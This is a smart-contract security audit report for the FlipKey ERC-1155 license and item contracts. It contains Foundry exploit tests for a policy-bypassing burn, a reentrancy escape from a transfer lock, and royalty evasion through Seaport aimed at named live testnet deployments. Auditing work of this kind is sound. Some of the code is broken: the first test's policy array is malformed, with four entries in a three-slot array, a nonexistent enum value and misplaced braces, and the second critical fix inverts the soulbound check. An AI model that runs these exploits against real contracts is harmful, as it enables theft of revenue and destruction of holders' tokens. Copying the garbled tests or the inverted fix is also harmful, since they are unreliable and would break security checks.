

FlipKey Security Review



Ivan Fitro

August 5th, 2026

Contents

1	Introduction	2
2	Disclaimer	2
3	About Ivan Fitro	2
4	About FlipKey	2
5	Severity classification	3
6	Security Assessment Summary	3
7	Executive Summary	3
8	Findings	5
8.1	Critical Findings	5
8.2	High Findings	20
8.3	Medium Findings	27
8.4	Low Findings	34
8.5	Informational Findings	46

1 Introduction

Ivan Fitro conducted a time-limited security assessment of the **FlipKey** protocol, concentrating on the security properties and implementation of its smart contracts.

2 Disclaimer

A smart contract security review cannot ensure the total absence of vulnerabilities. The assessment is inherently limited by time, resources, and available expertise, aiming to identify as many issues as possible within those constraints. While I strive to uncover potential risks, I cannot guarantee 100% security or that any issues will necessarily be found. It is strongly advised to follow up with additional security reviews, implement bug bounty programs, and maintain continuous on-chain monitoring.

3 About Ivan Fitro

Ivan Fitro, also known as **Fitro**, is an independent security researcher specializing in smart contracts. With a track record of uncovering vulnerabilities across various blockchain protocols, he is dedicated to enhancing the ecosystem through diligent security research and thorough audits. You can explore his past work [here](#), connect with him on Twitter [@Fitrolvan](#), or contact him through his web page [ivanfitro.com](#).

4 About FlipKey

FlipKey is a protocol built on the Base blockchain, focused on issuing game key licenses as ERC-1155 tokens. Each license moves through a five-state lifecycle and is use-bound by design, so post-mint transfers revert as an anti-fraud measure. A companion ERC-1155 collection covers tradable add-on items with per-type expiry, soulbound and transfer-lock controls, and secondary-sale royalties are declared through EIP-2981 and routed to a payment splitter.

5 Severity classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Issues that do not compromise the protocol but aim to improve it are marked as Informational.

Impact - the potential impact of a successful attack includes technical failures, financial losses, and reputational harm

Likelihood - the probability that a given vulnerability is detected and subsequently exploited.

Severity - the overall criticality of the risk

6 Security Assessment Summary

review package hash - [SHA-256: 6cca5d1d44992a69591f1235bb00a36b45e4905f39291a54d3234140e3faf383](#)

mitigation review package hash - [SHA-256: 06f316ae0b7fa1e91a88960f2ca26f0f289392ece4c6117e9e55e7ff4ee94988](#)

mitigation review git commit - [b8d5773](#)

Scope

The following smart contracts were in scope of the audit:

- `FlipKeyLicenseV4.sol`
- `FlipKeyItems1155.sol`
- `RoyaltySplitter.sol`

7 Executive Summary

Over the course of the security review, Fitro engaged with FlipKey to review FlipKey. In this period of time a total of **21** issues were uncovered.

Protocol Summary	
Protocol Name	FlipKey
Date	August 5th, 2026

Findings Count	
Severity	Amount
Critical	3
High	1
Medium	4
Low	8
Informational	5
Total Findings	21

Audit Findings Summary			
ID	Title	Severity	Status
[C-01]	FlipKeyItems1155.sol :: inherited ERC1155Burnable burn() bypasses every ExpiredBurnPolicy setting	Critical	Fixed
[C-02]	FlipKeyItems1155.sol :: mintTransferLocked() writes the transfer lock after minting, letting the recipient escape it in the mint callback	Critical	Fixed
[C-03]	FlipKeyItems1155.sol :: the operator allowlist does not enforce royalty payment, so secondary sales can settle at zero royalty	Critical	Acknowledged
[H-01]	FlipKeyLicenseV4.sol :: uri() ignores ERC1155 {id} substitution and returns a malformed metadata URL	High	Fixed
[M-01]	FlipKeyLicenseV4.sol :: permissionless expireHeld() can be front-run against activate(), destroying a license after the key was delivered	Medium	Fixed
[M-02]	FlipKeyLicenseV4.sol :: finalizeBurn() can be used to front-run disputeRefund()	Medium	Fixed
[M-03]	FlipKeyItems1155.sol :: a minter can attach an expiry to an already circulating type, freezing every existing holder	Medium	Fixed
[M-04]	FlipKeyItems1155.sol :: a transfer lock that outlives the type's expiry leaves the token permanently non-transferable	Medium	Fixed
[L-01]	FlipKeyItems1155.sol :: missing zero amount guard lets anyone forge burn and redemption events	Low	Fixed
[L-02]	FlipKeyItems1155.sol :: an already expired token type can still be minted	Low	Fixed
[L-03]	FlipKeyItems1155.sol :: zero amount mints emit phantom mint events and permanently bind the type's expiry	Low	Fixed
[L-04]	FlipKeyItems1155.sol :: royalty fee numerator is unbounded, allowing royalties up to 100%	Low	Fixed
[L-05]	FlipKeyLicenseV4.sol :: per-token royalty overrides can never be reset to follow the default royalty	Low	Fixed
[L-06]	FlipKeyItems1155.sol :: a one unit mint freezes the recipient's entire pre-existing balance	Low	Fixed
[L-07]	FlipKeyLicenseV4.sol :: activation with zero grace hours closes the refund window it is supposed to open	Low	Fixed
[L-08]	FlipKeyLicenseV4.sol :: omits the zero-address DEFAULT_ADMIN guard that FlipKeyItems1155 has	Low	Fixed
[I-01]	FlipKeyLicenseV4.sol :: the contract metadata variable is spelled _contractURI in one contract and _contractUri in the other	Info	Fixed
[I-02]	FlipKeyLicenseV4.sol :: license initialization does not follow the CEI	Info	Fixed
[I-03]	FlipKeyLicenseV4.sol :: compromised REFUND_ADMIN can burn ACTIVATED licenses, violating the documented trust bound	Info	Acknowledged
[I-04]	FlipKeyItems1155.sol :: length checks revert with a require string instead of the contract's custom error style	Info	Fixed
[I-05]	mutation-test.js :: integrity check compares against git HEAD, so it false-alarms on any uncommitted change	Info	Fixed

8 Findings

8.1 Critical Findings

[C-01] FlipKeyItems1155.sol :: inherited ERC1155Burnable burn() bypasses every ExpiredBurnPolicy setting

Description

FlipKeyItems1155.burnExpired() is the contract's only statement of who may destroy an expired balance. Three checks encode the entire policy:

```
function burnExpired(uint256 tokenId, address holder, uint256 amount) external {
    if (!isExpired(tokenId)) revert TokenNotExpired(tokenId);

    ExpiredBurnPolicy policy = expiredBurnPolicy;
    if (policy == ExpiredBurnPolicy.Disabled) revert BurnNotAllowed();
    if (policy == ExpiredBurnPolicy.AdminOnly && !hasRole(DEFAULT_ADMIN_ROLE, msg.sender))
        revert BurnNotAllowed();
    if (policy == ExpiredBurnPolicy.Anyone && msg.sender != holder)
        revert BurnNotAllowed();

    _burn(holder, tokenId, amount);
    emit ExpiredBurned(tokenId, msg.sender, amount);
}
```

Disabled permits nobody. AdminOnly, which the constructor installs as the default, reserves the action for the admin role. Anyone is narrower than its name suggests: the third check reverts whenever the caller is not the holder, so it permits the holder alone.

The contract also inherits ERC1155Burnable, and that extension reaches the same internal burn without reading the policy at all:

```
function burn(address account, uint256 id, uint256 value) public virtual {
    require(
        account == _msgSender() || isApprovedForAll(account, _msgSender()),
        "ERC1155: caller is not token owner or approved"
    );

    _burn(account, id, value);
}
```

Nothing downstream recovers the check. Every guard in the transfer hook sits inside a block conditioned on to != address(0), and a burn sets to to the zero address, so the block is skipped in full:

```
// Allow minting and burning
if (from != address(0) && to != address(0)) {
    if (operatorFilterEnabled && operator != from && !allowedOperator[operator]) {
        revert OperatorNotAllowed(operator);
    }
    for (uint256 i = 0; i < ids.length; i++) {
        if (_soulbound[ids[i]]) revert TokenSoulbound(ids[i]);
        if (isExpired(ids[i])) revert TokenExpired(ids[i]);
        if (isTransferLocked(ids[i], from))
            revert TokenTransferLocked(ids[i], _transferUnlockAt[ids[i]][from]);
    }
}
```

So burn() and burnBatch() permit strictly more than the policy allows in every one of its three settings. Under Disabled the policy permits nobody, while burn() admits the holder and every address holding an approval. Under AdminOnly the policy reserves the action for the admin, while burn() admits the holder and every

approved address, none of whom is the admin. Under `Anyone` the policy admits the holder, while `burn()` additionally admits every approved address. The enum never constrains anything, including in the configuration the constructor ships.

The damaging half is the approval clause. `isApprovedForAll` is granted as a matter of course, since every marketplace listing requires it, and the contract turns that routine grant into a standing destruction right over the holder's balance. It reaches balances no transfer can touch, because the soulbound, expiry and transfer lock checks all live in the block a burn skips. Revoking the marketplace does not close it either. `setOperatorAllowed()` writes only `allowedOperator`, and that mapping is read in exactly one place, inside the same skipped block, so removing an operator from the allowlist withdraws its ability to move a holder's tokens and leaves its ability to destroy them intact.

Proof of Concept

The operator below holds nothing but a stale `setApprovalForAll` and has been removed from the operator allowlist, so every policy setting denies it through the gated verb. The test walks all three settings against that one caller: in each leg `burnExpired()` reverts and the balance survives, then the inherited `burn()` destroys it.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {FlipKeyItems1155} from "../contracts/FlipKeyItems1155.sol";

contract BurnExpiredPolicyBypass is Test {
    FlipKeyItems1155 internal items;

    address internal admin    = makeAddr("admin");
    address internal holder   = makeAddr("holder");
    address internal operator = makeAddr("operator");
    address internal outsider = makeAddr("outsider");

    uint256 internal constant AMOUNT = 10;

    function setUp() public {
        vm.startPrank(admin);
        items = new FlipKeyItems1155(
            admin, "FlipKey Items", "ipfs://base/", "ipfs://contract", admin, 500
        );
        items.grantRole(items.MINTER_ROLE(), admin);

        // One expiring type per policy setting, so each leg starts funded.
        for (uint256 id = 1; id <= 3; id++) {
            items.mintWithExpiry(holder, id, AMOUNT, block.timestamp + 1 days);
        }

        // The operator was once an allowlisted marketplace and has since been revoked.
        items.setOperatorAllowed(operator, true);
        items.setOperatorAllowed(operator, false);
        vm.stopPrank();

        // A routine marketplace listing approval, granted before the revocation.
        vm.prank(holder);
        items.setApprovalForAll(operator, true);

        vm.warp(block.timestamp + 2 days);
    }

    function testEveryExpiredBurnPolicyIsBypassedByInheritedBurn() public {
        FlipKeyItems1155.ExpiredBurnPolicy[3] memory policies = [
            FlipKeyItems1155.ExpiredBurnPolicy.Disabled,
            FlipKeyItems1155.ExpiredBurnPolicy.AdminOnly,
            FlipKeyItems1155.ExpiredBurnPolicy.HolderOnly,
        ];
    }
}
```

```

        FlipKeyItems1155.ExpiredBurnPolicy.Anyone
    ];
    string[3] memory names = ["Disabled", "AdminOnly", "Anyone"];

    // The operator is not allowlisted, so it cannot move a single unit.
    vm.prank(operator);
    vm.expectRevert(
        abi.encodeWithSelector(FlipKeyItems1155.OperatorNotAllowed.selector, operator)
    );
    items.safeTransferFrom(holder, outsider, 1, 1, "");

    for (uint256 i = 0; i < policies.length; i++) {
        uint256 id = i + 1;

        vm.prank(admin);
        items.setExpiredBurnPolicy(policies[i]);
        assertTrue(items.isExpired(id), "type should be expired");

        // The policy denies this caller through the gated verb.
        vm.prank(operator);
        vm.expectRevert(FlipKeyItems1155.BurnNotAllowed.selector);
        items.burnExpired(id, holder, AMOUNT);
        assertEq(items.balanceOf(holder, id), AMOUNT, "gate held");

        // The inherited burn destroys the same balance anyway.
        vm.prank(operator);
        items.burn(holder, id, AMOUNT);

        assertEq(items.balanceOf(holder, id), 0, "balance destroyed");
        assertEq(items.totalSupply(id), 0, "supply moved, no protocol event");

        console.log("policy %s: burnExpired denied, burn() destroyed %s", names[i], AMOUNT);
    }
}

```

```

FOUNDRY_PROFILE=poc forge test --match-contract BurnExpiredPolicyBypass -vvv

```

```

Ran 1 test for POC/BurnExpiredPolicyBypass.t.sol:BurnExpiredPolicyBypass
[PASS] testEveryExpiredBurnPolicyIsBypassedByInheritedBurn() (gas: 104432)
Logs:
  policy Disabled: burnExpired denied, burn() destroyed 10
  policy AdminOnly: burnExpired denied, burn() destroyed 10
  policy Anyone: burnExpired denied, burn() destroyed 10

Suite result: ok. 1 passed; 0 failed; 0 skipped

```

An address that cannot move one unit destroys the entire balance under all three settings, including `Disabled`, where the policy permits nobody at all.

Additionally, the token owner can still call `burn()` even when `Disabled` is activated, effectively bypassing the restriction.

Recommendations

Stop inheriting `ERC1155Burnable`. The extension contributes nothing but the two public `burn/burnBatch` functions. No state, no interface id, no internal helpers, and no in-scope code calls either of them. Removing it deletes the surface instead of guarding it.

```

- import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";

- contract FlipKeyItems1155 is ERC1155, ERC1155Burnable, ERC1155Supply, ERC2981,
  AccessControlEnumerable {
+ contract FlipKeyItems1155 is ERC1155, ERC1155Supply, ERC2981, AccessControlEnumerable {

```

[C-02] FlipKeyItems1155.sol :: mintTransferLocked() writes the transfer lock after minting, letting the recipient escape it in the mint callback

Description

FlipKeyItems1155.mintTransferLocked() is the mint path for purchase add-on freebies. It is supposed to hand the recipient a tradable item that they cannot move until `unlockAt_`, so the card-chargeback window closes before the item becomes liquid.

The function credits the balance before it records the lock:

```
function mintTransferLocked(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 unlockAt_,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
    _mint(to, tokenId, amount, ""); // <-- balance credited, callback fires
    if (unlockAt_ > _transferUnlockAt[tokenId][to]) { // <-- lock written only afterwards
        _transferUnlockAt[tokenId][to] = unlockAt_;
        emit TransferLockSet(tokenId, to, unlockAt_);
    }
}
```

OpenZeppelin's `_mint` credits `_balances` and then calls `onERC1155Received` on a contract recipient. Control passes to the recipient at that point, and the recipient already holds the full balance while `_transferUnlockAt[tokenId][to]` is still its previous value zero for a first time holder. The transfer guard reads that same mapping, so it does not fire:

```
if (isTransferLocked(ids[i], from))
    revert TokenTransferLocked(ids[i], _transferUnlockAt[ids[i]][from]);

function isTransferLocked(uint256 tokenId, address holder) public view returns (bool) {
    uint256 u = _transferUnlockAt[tokenId][holder];
    return u != 0 && block.timestamp < u; // u is still 0 during the callback
}
```

A recipient contract therefore transfers the whole freshly-minted balance out from inside its own acceptance hook. The transfer is holder direct (`operator == from`), so the operator allowlist does not apply to it either. When the callback returns, `mintTransferLocked` writes the lock onto an address that no longer holds anything.

The tokens land at a second address that was never a mint recipient, so it has no `_transferUnlockAt` entry at all and is free to trade immediately and onward without restriction.

Proof of Concept

`mintTransferLocked` credits the balance before writing the lock, so a contract recipient's `onERC1155Received` hook forwards all 100 tokens to an accomplice while `_transferUnlockAt` is still zero.

The lock then lands on an address holding nothing while the accomplice holds everything with no unlock deadline, and resells onward twice, all inside the 30 day chargeback window.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
```



```

import {FlipKeyItems1155} from "../contracts/FlipKeyItems1155.sol";

contract EscapingRecipient {
    FlipKeyItems1155 private immutable ITEMS;
    address private escapeDestination;
    bool private armed;

    constructor(FlipKeyItems1155 items_) {
        ITEMS = items_;
    }

    function arm(address destination) external {
        escapeDestination = destination;
        armed = true;
    }

    /// @dev Fires from inside `_mint`, before `mintTransferLocked` writes the lock.
    function onERC1155Received(address, address, uint256 id, uint256 value, bytes calldata)
        external
        returns (bytes4)
    {
        if (armed) {
            armed = false; // one-shot, so this cannot recurse
            // `msg.sender` on this outgoing call is this contract, which is also
            // `from` - a holder-direct transfer, so the operator allowlist does
            // not apply. The only thing that could stop it is the transfer lock,
            // and that has not been written yet.
            ITEMS.safeTransferFrom(address(this), escapeDestination, id, value, "");
        }
        return this.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata,
    bytes calldata)
        external
        pure
        returns (bytes4)
    {
        return this.onERC1155BatchReceived.selector;
    }

    function supportsInterface(bytes4) external pure returns (bool) {
        return true;
    }
}

contract MintTransferLockBypassTest is Test {
    FlipKeyItems1155 internal items;

    address internal admin = makeAddr("admin");
    address internal relayer = makeAddr("relayer"); // holds MINTER_ROLE
    address internal royaltyReceiver = makeAddr("royaltyReceiver");

    address internal accomplice = makeAddr("accomplice"); // where the freebie escapes to
    address internal marketBuyer = makeAddr("marketBuyer"); // onward buyer
    address internal secondBuyer = makeAddr("secondBuyer"); // and the one after that

    uint256 internal constant TOKEN_ID = 1;
    uint256 internal constant AMOUNT = 100;
    uint256 internal constant LOCK_PERIOD = 30 days; // the card-chargeback window

    function setUp() public {
        vm.warp(1_700_000_000); // realistic starting timestamp

        items = new FlipKeyItems1155(
            admin,
            "FlipKey Items",
            "https://flipkey.gg/items/",

```

```

        "https://flipkey.gg/items/contract.json",
        royaltyReceiver,
        500
    );

    // Cache the role id first: `vm.prank` applies to the very next call, and a
    // nested `items.MINTER_ROLE()` would consume it before `grantRole` runs.
    bytes32 minterRole = items.MINTER_ROLE();
    vm.prank(admin);
    items.grantRole(minterRole, relayer);
}

// -----
// The freebie escapes its 30-day lock during the mint callback, and the
// escaped balance is then freely tradable, immediately, with zero restriction.
// -----
function test_escapedBalanceTransfersFreelyInsideTheLockWindow() public {
    EscapingRecipient attacker = new EscapingRecipient(items);
    uint256 unlockAt = block.timestamp + LOCK_PERIOD;

    // The attacker points the escape at a second address it controls.
    attacker.arm(accomplice);

    // — The relayer mints the freebie with a 30-day lock, exactly as the
    //   protocol intends. This single call is the whole exploit.
    vm.prank(relayer);
    items.mintTransferLocked(address(attacker), TOKEN_ID, AMOUNT, unlockAt, 0);

    // — The lock was recorded against the intended recipient ...
    assertTrue(items.isTransferLocked(TOKEN_ID, address(attacker)), "intended recipient
carries the lock");
    assertEquals(items.transferUnlockAt(TOKEN_ID, address(attacker)), unlockAt, "lock deadline is
30 days out");

    // — ... but that address holds nothing. The whole balance left during the
    //   acceptance callback, before the lock existed.
    assertEquals(items.balanceOf(address(attacker), TOKEN_ID), 0, "intended recipient was
drained");
    assertEquals(items.balanceOf(accomplice, TOKEN_ID), AMOUNT, "accomplice received the full
balance");

    // — The accomplice carries no lock whatsoever.
    assertFalse(items.isTransferLocked(TOKEN_ID, accomplice), "accomplice is NOT locked");
    assertEquals(items.transferUnlockAt(TOKEN_ID, accomplice), 0, "accomplice has no unlock
deadline at all");

    console.log("--- state immediately after mintTransferLocked ---");
    console.log("block.timestamp          :", block.timestamp);
    console.log("lock deadline on recipient :", items.transferUnlockAt(TOKEN_ID,
address(attacker)));
    console.log("recipient balance          :", items.balanceOf(address(attacker),
TOKEN_ID));
    console.log("accomplice balance        :", items.balanceOf(accomplice, TOKEN_ID));
    console.log("accomplice locked?         :", items.isTransferLocked(TOKEN_ID,
accomplice));

    // — Still deep inside the 30-day chargeback window.
    assertLt(block.timestamp, unlockAt, "we are inside the lock window");

    // — The accomplice sells the freebie onward – no revert.
    vm.prank(accomplice);
    items.safeTransferFrom(accomplice, marketBuyer, TOKEN_ID, AMOUNT, "");
    assertEquals(items.balanceOf(marketBuyer, TOKEN_ID), AMOUNT, "buyer received the freebie");
    assertFalse(items.isTransferLocked(TOKEN_ID, marketBuyer), "buyer is unlocked too");

    // — And the buyer passes it on again. The asset is fully liquid.
    vm.prank(marketBuyer);
    items.safeTransferFrom(marketBuyer, secondBuyer, TOKEN_ID, AMOUNT, "");
    assertEquals(items.balanceOf(secondBuyer, TOKEN_ID), AMOUNT, "second buyer received the

```

```

freebie");
    assertFalse(items.isTransferLocked(TOKEN_ID, secondBuyer), "second buyer is unlocked too");

    // — Supply accounting is intact – nothing is minted out of thin air. The
    // bug is that the restriction misses its target, not that the books break.
    assertEquals(items.totalSupply(TOKEN_ID), AMOUNT, "supply accounting is unaffected");

    console.log("--- onward transfers, all inside the 30-day lock window ---");
    console.log("now                :", block.timestamp);
    console.log("original lock would expire at :", unlockAt);
    console.log("days remaining on the lock    :", (unlockAt - block.timestamp) / 1 days);
    console.log("final holder balance            :", items.balanceOf(secondBuyer, TOKEN_ID));
    console.log("final holder locked?              :", items.isTransferLocked(TOKEN_ID,
secondBuyer));
    }
}

```

Logs:

```

--- state immediately after mintTransferLocked ---
block.timestamp           : 1700000000
lock deadline on recipient : 1702592000
recipient balance         : 0
accomplice balance        : 100
accomplice locked?        : false
--- onward transfers, all inside the 30-day lock window ---
now                       : 1700000000
original lock would expire at : 1702592000
days remaining on the lock : 30
final holder balance       : 100
final holder locked?       : false

```

Recommendations

Write the lock before minting, so it is already on record when the acceptance callback runs. This is CEI pattern:

`_mint` is the interaction, and the lock is an effect that must precede it.

```

function mintTransferLocked(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 unlockAt_,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
    if (!_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
-   _mint(to, tokenId, amount, "");
    if (unlockAt_ > _transferUnlockAt[tokenId][to]) {
        _transferUnlockAt[tokenId][to] = unlockAt_;
        emit TransferLockSet(tokenId, to, unlockAt_);
    }
+   _mint(to, tokenId, amount, "");
}

```

[C-03] FlipKeyItems1155.sol :: the operator allowlist does not enforce royalty payment, so secondary sales can settle at zero royalty

Description

FlipKeyItems1155 treats the operator allowlist as the mechanism that makes EIP-2981 royalties real. The economic model states it plainly: *"operator-mediated transfers revert unless the operator is allowlisted (Seaport 1.6). Bypassing the filter = bypassing the royalty = breaking the revenue model."*

The filter authorises an operator address. It has no visibility into what was paid:

```
if (operatorFilterEnabled && operator != from && !allowedOperator[operator]) {  
    revert OperatorNotAllowed(operator);  
}
```

_beforeTokenTransfer receives operator, from, to, ids, amounts, data. None of these carry consideration. The hook fires mid-settlement, after payment has already been distributed according to an order the contract cannot see.

Seaport transfers exactly what an order's consideration array lists. The royalty is an ordinary consideration item chosen by whoever constructs the order, and Seaport never reads royaltyInfo, the EIP2981 declaration is advisory, honoured by convention in marketplace frontends. In this repository, the only callers of royaltyInfo are tests, nothing on-chain consumes it.

A seller therefore does not need to defeat the filter. They construct a Seaport order whose sole consideration item is the full price to themselves, omit the royalty item, and fulfil it with conduitKey = 0 so that Seaport itself is the operator. The allowlist check passes, the operator genuinely is the allowlisted Seaport the token transfers, and the royalty recipients receive nothing.

This is not a flaw in Seaport, which behaves exactly as designed. It is a false assumption encoded in in-scope code: allowlisted operator $\Rightarrow$ royalty paid. Checking **who** moves a token conveys nothing about **what was paid** for it.

Any holder can do this at will, with no role, no timing window, and no special access, using standard Seaport tooling. Since royalty income is the only on-chain revenue in scope, the stream can be reduced to zero permanently.

Proof of Concept

This PoC runs against the deployed contracts, not a local re-deployment. It forks Base Sepolia and calls your production instances directly. Nothing in the attack path is a mock, a stub, or a fresh deployment, the test contains no new statement at all:

Contract	Live address	Role in the attack
FlipKeyItems1155	0x6199b83bA3E082718B5567b0C9835A1278Fa9d3a	The collection whose operator filter is under test
RoyaltySplitter	0xf8aACf979FF50F73242a48DEd4D26cf9b023f8Cc	The EIP-2981 receiver that should be paid
Seaport 1.6	0x000000000000000068F116a894984e2DB1123eB395	Canonical deployment, real bytecode, settles the sale
MINTER_ROLE holder	0x604b7c5F56fccEe771cBC14C4f2Bccf285e124B1	Real role holder, impersonated to mint one token

One action is simulated, and only one: the test impersonates the real MINTER_ROLE holder to mint a single token to an address whose private key it controls. This is unavoidable rather than convenient, signing a Seaport order requires the seller's private key, and no real holder's key is available. The finding does not depend on how the token was acquired; any holder of any token in this collection can reproduce it.

POCFork/SeaportRoyaltyBypass.t.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {FlipKeyItems1155} from "../contracts/FlipKeyItems1155.sol";
import {RoyaltySplitter} from "../contracts/RoyaltySplitter.sol";

// — Seaport 1.6 order model (subset needed to build and fulfil one order) —

enum ItemType {
    NATIVE,
    ERC20,
    ERC721,
    ERC1155,
    ERC721_WITH_CRITERIA,
    ERC1155_WITH_CRITERIA
}

enum OrderType {
    FULL_OPEN,
    PARTIAL_OPEN,
    FULL_RESTRICTED,
    PARTIAL_RESTRICTED,
    CONTRACT
}

struct OfferItem {
    ItemType itemType;
    address token;
    uint256 identifierOrCriteria;
    uint256 startAmount;
    uint256 endAmount;
}

struct ConsiderationItem {
    ItemType itemType;
    address token;
    uint256 identifierOrCriteria;
    uint256 startAmount;
    uint256 endAmount;
    address payable recipient;
}

struct OrderComponents {
    address offerer;
    address zone;
    OfferItem[] offer;
    ConsiderationItem[] consideration;
    OrderType orderType;
    uint256 startTime;
    uint256 endTime;
    bytes32 zoneHash;
    uint256 salt;
    bytes32 conduitKey;
    uint256 counter;
}

struct OrderParameters {
    address offerer;
    address zone;
    OfferItem[] offer;
    ConsiderationItem[] consideration;
    OrderType orderType;
    uint256 startTime;
```

```

    uint256 endTime;
    bytes32 zoneHash;
    uint256 salt;
    bytes32 conduitKey;
    uint256 totalOriginalConsiderationItems;
}

struct Order {
    OrderParameters parameters;
    bytes signature;
}

interface ISeaport {
    function fulfillOrder(Order calldata order, bytes32 fulfillerConduitKey)
        external
        payable
        returns (bool fulfilled);

    function getCounter(address offerer) external view returns (uint256);

    function getOrderHash(OrderComponents calldata order) external view returns (bytes32);

    function information()
        external
        view
        returns (string memory version, bytes32 domainSeparator, address conduitController);
}

/**
 * @title Fork PoC: royalty evasion through the ALLOWLISTED operator
 *
 * @notice The economic model claims the operator filter is what makes the
 * EIP-2981 royalty real: "operator-mediated transfers revert unless the
 * operator is allowlisted (Seaport 1.6). Bypassing the filter =
 * bypassing the royalty." This test attacks that equivalence.
 *
 * The filter authorises an OPERATOR ADDRESS. It cannot see payment.
 * Seaport transfers exactly what an order's `consideration` array
 * lists, the royalty is an ordinary consideration item chosen by
 * whoever writes the order, and Seaport never reads `royaltyInfo`.
 *
 * So a seller does not need to defeat the filter. They omit the royalty
 * item, fulfil through Seaport with conduitKey = 0 (making Seaport
 * itself the operator), the allowlist check passes because the operator
 * genuinely IS Seaport, and the royalty recipients receive nothing.
 *
 * @dev NO MOCKS AND NO LOCAL DEPLOYMENTS. Every contract in the attack path
 * is the live deployed instance, read off chain:
 *
 * FlipKeyItems1155 0x6199b83bA3E082718B5567b0C9835A1278Fa9d3a
 * RoyaltySplitter 0xf8aACf979FF50F73242a48DEd4D26cf9b023f8Cc
 * Seaport 1.6 0x00000000000000068F116a894984e2DB1123eB395
 * MINTER_ROLE 0x604b7c5F56fccEe771cBC14C4f2Bccf285e124B1
 *
 * The filter state, the allowlist entry and the royalty rate are NOT
 * configured by this test – they are production values asserted in
 * `test_liveConfigIsAsClaimed`. Seaport is already allowlisted on the
 * live collection, so the attack runs against real deployed config.
 *
 * The only simulated action is pranking the real MINTER_ROLE holder to
 * mint one token to an address whose key this test controls, because
 * signing a Seaport order requires the seller's private key. The
 * finding does not depend on token provenance.
 *
 * Order hashing is delegated to Seaport's own `getOrderHash` and
 * `information().domainSeparator`, so the EIP-712 digest is derived by
 * the contract under test rather than reimplemented here. A wrong
 * order model would fail signature recovery, not pass silently.
 */

```

```

*      Override the RPC with BASE_SEPOLIA_RPC_URL. Pinned for reproducibility.
*
*      FOUNDRY_PROFILE=pocfork forge test --match-contract SeaportRoyaltyBypass -vv
*/
contract SeaportRoyaltyBypassTest is Test {
    // — Live deployments (nothing here is deployed by this test) —
    FlipKeyItems1155 internal constant ITEMS =
        FlipKeyItems1155(0x6199b83bA3E082718B5567b0C9835A1278Fa9d3a);
    RoyaltySplitter internal constant SPLITTER =
        RoyaltySplitter(payable(0xf8aACf979FF50F73242a48DEd4D26cf9b023f8Cc));
    address internal constant SEAPORT = 0x000000000000000068F116a894984e2DB1123eB395;
    address internal constant MINTER = 0x604b7c5F56fccEe771cBC14C4f2Bccf285e124B1;

    string internal constant DEFAULT_RPC = "https://sepolia.base.org";
    uint256 internal constant FORK_BLOCK = 44967629;

    ISeaport internal seaport = ISeaport(SEAPORT);

    uint256 internal constant ID = 777_777; // unused type; minted fresh below
    uint256 internal constant PRICE = 1 ether;

    address internal buyer = makeAddr("buyer");
    address internal seller;
    uint256 internal sellerPk;

    function setUp() public {
        vm.createSelectFork(vm.envOr("BASE_SEPOLIA_RPC_URL", DEFAULT_RPC), FORK_BLOCK);
        assertGt(SEAPORT.code.length, 0, "Seaport not deployed on this fork");
        assertGt(address(ITEMS).code.length, 0, "Items1155 not deployed on this fork");
        assertGt(address(SPLITTER).code.length, 0, "Splitter not deployed on this fork");

        (seller, sellerPk) = makeAddrAndKey("seller");

        // Only simulated step: the real minter issues one token to our seller.
        assertEq(ITEMS.totalSupply(ID), 0, "pick an unused token type");
        vm.prank(MINTER);
        ITEMS.mintWithExpiry(seller, ID, 1, 0);

        vm.prank(seller);
        ITEMS.setApprovalForAll(SEAPORT, true);

        vm.deal(buyer, 10 ether);
    }

    // — Order construction —

    function _buildSignedOrder(ConsiderationItem[] memory consideration)
        internal
        view
        returns (Order memory)
    {
        return _buildOrderSignedBy(sellerPk, consideration);
    }

    /// @dev Same order, but signed by an arbitrary key. Used to show that
    ///       authorship of the struct is irrelevant: only a signature that
    ///       recovers to `offerer` produces a fulfillable order.
    function _buildOrderSignedBy(uint256 signerPk, ConsiderationItem[] memory consideration)
        internal
        view
        returns (Order memory)
    {
        OfferItem[] memory offer = new OfferItem[](1);
        offer[0] = OfferItem({
            itemType: ItemType.ERC1155,
            token: address(ITEMS),
            identifierOrCriteria: ID,
            startAmount: 1,
            endAmount: 1

```

```

});

OrderComponents memory comps = OrderComponents({
    offerer: seller,
    zone: address(0),
    offer: offer,
    consideration: consideration,
    orderType: OrderType.FULL_OPEN,
    startTime: block.timestamp - 60,
    endTime: block.timestamp + 100000,
    zoneHash: bytes32(0),
    salt: 0x1234,
    conduitKey: bytes32(0), // no conduit => Seaport itself is the operator
    counter: seaport.getCounter(seller)
});

// Let Seaport derive its own EIP-712 digest.
(, bytes32 domainSeparator,) = seaport.information();
bytes32 digest =
    keccak256(abi.encodePacked(hex"1901", domainSeparator, seaport.getOrderHash(comps)));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, digest);

OrderParameters memory params = OrderParameters({
    offerer: comps.offerer,
    zone: comps.zone,
    offer: comps.offer,
    consideration: comps.consideration,
    orderType: comps.orderType,
    startTime: comps.startTime,
    endTime: comps.endTime,
    zoneHash: comps.zoneHash,
    salt: comps.salt,
    conduitKey: comps.conduitKey,
    totalOriginalConsiderationItems: consideration.length
});

return Order({parameters: params, signature: abi.encodePacked(r, s, v)});
}

function _native(uint256 amount, address to) internal pure returns (ConsiderationItem memory)
{
    return ConsiderationItem({
        itemType: ItemType.NATIVE,
        token: address(0),
        identifierOrCriteria: 0,
        startAmount: amount,
        endAmount: amount,
        recipient: payable(to)
    });
}

// — Tests —————

